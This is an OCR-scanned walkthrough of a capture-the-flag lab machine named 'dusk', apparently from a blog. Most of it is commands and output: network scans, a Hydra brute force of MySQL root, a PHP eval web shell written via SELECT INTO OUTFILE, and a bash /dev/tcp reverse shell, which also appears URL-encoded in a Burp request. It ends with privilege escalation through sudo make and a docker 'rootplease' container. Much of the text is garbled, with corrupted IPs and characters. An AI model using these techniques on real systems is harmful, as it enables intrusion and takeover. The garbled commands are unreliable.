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arp-scan 192.168.34.0/24

:~# arp-scan 192.168.34.0/24
Interface: eth@®, type: EN1OMB, MAC: 00:0c:29:9c:31:5d, IPv4: 192.168.34.107
Starting arp-scan 1.9.6 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.34.11 :87:fc:ef:83:d5 Elitegroup Computer Systems Co.,Ltd.
192.168.34.22 :03:0f:3e:1c:0c Digital China (Shanghai) Networks Ltd.
192.168.34.33 :e@:4c:36:01:99 REALTEK SEMICONDUCTOR CORP.
192.168.34.35 ba:b4:be:28:F3 LCFC(HeFei) Electronics Technology co., 1td
192.168.34.39 @c:29:2e:7F: VMware, Inc.
192.168.34.48 :5f:f6:a8:57: MERCURY COMMUNICATION TECHNOLOGIES CO.,LTD.
192.168.34. tha:b4:bB:fd: LCFC(HeFei) Electronics Technology co., 1td
192.168.34. :5d:36:ca:fd: Hewlett Packard
192.168.34. :2a:72:bB:04: Dell Inc.
192.168.34. :25:aa:32:a6: Private
192.168.34. :e@:4c:36:1e: REALTEK SEMICONDUCTOR CORP.
192.168.34. :@c:29:69:8e: VMware, Inc.
192.168.34. rae:ed:22:6d: Elitegroup Computer Systems Co.,Ltd.
192.168.34. 125:11:4b:68: Elitegroup Computer Systems Co.,Ltd.
192.168.34. :25:aa:2c:7d: Private
192.168.34. :el:ad:f7:54: LCFC(HeFei) Electronics Technology co., 1td
192.168.34. :cb:Ba:24:21: Micro-Star INTL CO., LTD.
192.168.34. :75:a4:01:ca: LCFC(HeFei) Electronics Technology co., 1td
192.168.34. 125:11:4b:69: Elitegroup Computer Systems Co.,Ltd.
192.168.34. 189:17:cd:39: TP-LINK TECHNOLOGIES CO.,LTD.
192.168.34. 146:99:11:dc: Bp€QibletPesdn.netlLong_gone
192.168.34. :1f:ch:bbh:70: R _INC.
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nmap 192.168.34.170
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:~# nmap 192.168.34.170
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-24 04:09 EST
Nmap scan report for localhost (192.168.34.17@)
Host is up (0.0023s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
3306/tcp open mysql
8080/tcp open http-proxy
MAC Address: @8:88:27:9D:8D:96 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.34 nd
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(a Apache2 Debian Default Page

This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Debian systems. If you can read this page, it means that the Apache HTTP server

installed at this site is working properly. You should replace this file (located at /var/www
/html/index. html) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Debian's Apache2 default configuration is different from the upstream default configuration, and split
into several files optimized for interaction with Debian tools. The configuration system is fully
documented in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web server itself can be found by accessing the manual if the
apache2-doc package was installed on this server.
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Local working directory:/var/tmp
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:~# dirb http://192.168.34.170

DIRB v2.22
By The Dark Raver

START_TIME: Tue Dec 24 83:05:30 2019
URL_BASE: http://192.168.34.170/
WORDLIST_FILES: /fusr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

--— Scanning URL: http://192.168.34.170/ ----

+ http://192.168.34.1708/index.html [CODE:2BEISIZE:13?EI)
=> DIRECTORY: http://192.168.34.178/javascript/

+ http://192.168.34.170/server-status (CODE:4@83|SIZE:279)

---- Entering directory: http://192.168.34.170/javascript/ ----
=> DIRECTORY: http://192.168.34.178/javascript/jquery/

---- Entering directory: http://192.168.34.170/javascript/jquery/ ----

+ http://192.168.34.170/javascript/jquery/jquery (CODE:zaﬁlSlﬁﬁﬁ%ﬁﬁﬁ?ﬁ%ﬂﬂernEUanu qone
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hydra -1 root -P /usr/share/wordlists/rockyou.txt 192.168.34.170 mysql

# hydra -1 root -P /usr/share/wordlists/rockyou.txt 192.168.34.17
@ mysql
Hydra v9.@ (c) 2019 by van Hauser/THC - Please do not use in military or secret service organiz
ations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-12-24 ©3:41:55
[INFO] Reduced number of tasks to & (mysql does not like many parallel connections)
[DATA] max & tasks per 1 server, overall & tasks, 14344399 login tries (1:1/p:14344399), ~35861
@@ tries per task
[DATA] attacking mysql://192.168.34.170:3306/
[3306][mysql] host: 192.168.34.170 login: root password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https:/Igithub.cnmfvanhauier-thcfthc—hydra) finished at 2019y
z # ;
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168.34.170 -u root -p



:~# mysql -h 192.168.34.170 -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 59
Server version: 10.3.18-MariaDB-0+debl8ul Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;

information_schema
mysqgl
performance_schema

3 rows in set (0.002 sec)

MariaDB [(none)]> use mysql
Reading table information for completion of table and column namer_sh‘F
1

You can turn off this feature to get a quicker startup with -A blog.csdn.netLong_gone

HEUEEEREFEREBEARAMA2FHNGER, RERESMHENTEERE - —HERS:

select "<?php eval($ GET['cmd']);?>" into outfile "/var/tmp/3.php";

2 rows in set (0.002 sec)

MariaDB [mysql]> select "<Zphp eval($_GET['cmd']);?>" into outfile "/var/tmp/&.php";
Query OK, 1 row affected (0.002 sec)

MariaDB [mysqll> [J
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echo "bash -i >& /dev/tcp/192.168.34.107/8888 0>&1" | bash
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echo "bash -i =& /dev/tcp/192.168.34.107/8888 0=&1" | bash|

P6%20%2f%64%65% 76%2f% T4 %63% 70%2f%31%39% 32%2e % 31%36%38% 28 %0 33% 34 %22 %31%30% 37 % 2f% 38 % 38 % 36% 38%20% 30 %32 %26%31%22%20% Tc %20%62%61% 7 3% 68
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Vi —ATE R, SRR A RE:
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Burp Froject Intruder RKepeater vwindow Help

[ Dashboard TTarget I Proxy T Intruder T Repeater I Sequencer I Decoder T Comparer I Extender T Project options T User

1= (2= |3 =
Go Cance
Request Response
J Raw T Params T Headers I Hex ] Raw
GET A

M. php?emd=system{"%E5%63 %68 %5%20 %22 %62 %61 %7 3%68 %20%2 d%E9%20%3:
%26%20%2{%64 %65 %7 6% 2% 7 4 %63 %7 0%21%31 %39 %32 %22 %31 %36 %35 %2 %33
%34 %2 %31 %30%37 %2{%38 %368 %36 %38 %20%30%3e %26 %31 %22 %20 %7 c %20 %6
2%61%73%687; HTTR/M.1

Host: 192.168.34.170:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x54; rv:69.0) Gecko/20100101
Firefox/B39.0

Accept: text/html application/xhtml+xml application/xml, g=0.9 % q=0.8
Accept-Language: zh-CN zh;q=0.8,zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0
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Nmap done: 1 IP address (1 host up) scanned in 1.4@ seconds
:~# nc -lvp 8888

listening on [any] 8888 ...

RIEBITRINMESUE I, shellsf & 3 K.

:~# nc -lvp B888
listening on [any] 8888 ...
192.168.34.170: inverse host lookup failed: Unknown host
connect to [192.168.34.107] from (UNKNOWN) [192.168.34.178] 33366
bash: cannot set terminal process group (964): Inappropriate ioctl for device
bash: no job control in this shell
www-dataddusk: /var/tmp$ pwd
pwd
/var/tmp
www-dataddusk: /var/tmp$ 1s
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www-dataddusk: /var/tmp$ sudo -1
sudo -1
Matching Defaults entries for www-data on dusk:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on dusk:
(dusk) NOPASSWD: /usr/bin/ping, /usr/bin/make, fusr/bin/sl
waw-dataadusk: /var/tmp$ “Z https://blog.csdn.net/Long_gone
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sudo -u dusk make --eval=$'x:\n\t'/bi

systemd-private-7934e@ed78d24fad987353fel414ff80-systemd-timesyncd.service-4vt1X3
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www-dataddusk: /var/tmp$ sudo -u dusk make —ewval=$'x:\n\t'/bin/sh

sudo -u dusk make —eval=%$'x:\n\t'/bin/sh

/bin/sh

$

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

/bin/sh

$ id

id

uid=100@(dusk) gid=1000(dusk) groups=1000(dusk),24(cdrom),25( floppy),29(audio),30(dip),s4(vid
), 46(plugdev),109(netdev),111(bluetooth),115(1padmin},116(scanner),123(docker)
$ docker run -v /:/host0S -i -t chrisfosterelli/rootplease

docker run -v /:/host05 -i -t chrisfosterelli/rootplease

Unable to find image 'chrisfosterelli/rootplease:latest’' locally

latest: Pulling from chrisfosterelli/rootplease

2de59b831a23: Pull complete

354c3661655e: Pull complete

91930878a2d7: Pull complete

a3ed95caeb®2: Pull complete

489b110c54dc: Pull complete

Digest: sha256:07f8453356eb965731dd400e056504084F25705921df25e78b68ce3908ce52ch
Status: Downloaded newer image for chrisfosterelli/rootplease:latest

You should now have a root shell on the host 0S

Press Ctrl-D to exit the docker instance / shell

# id

id

uid:ﬁf_rggt) gid:ﬁf_rggt) grgups:ﬁf_rggt) g .:;r_irl.r'n:—:el.‘.-"l_[:lr'u';]_r;]l:]r'uE
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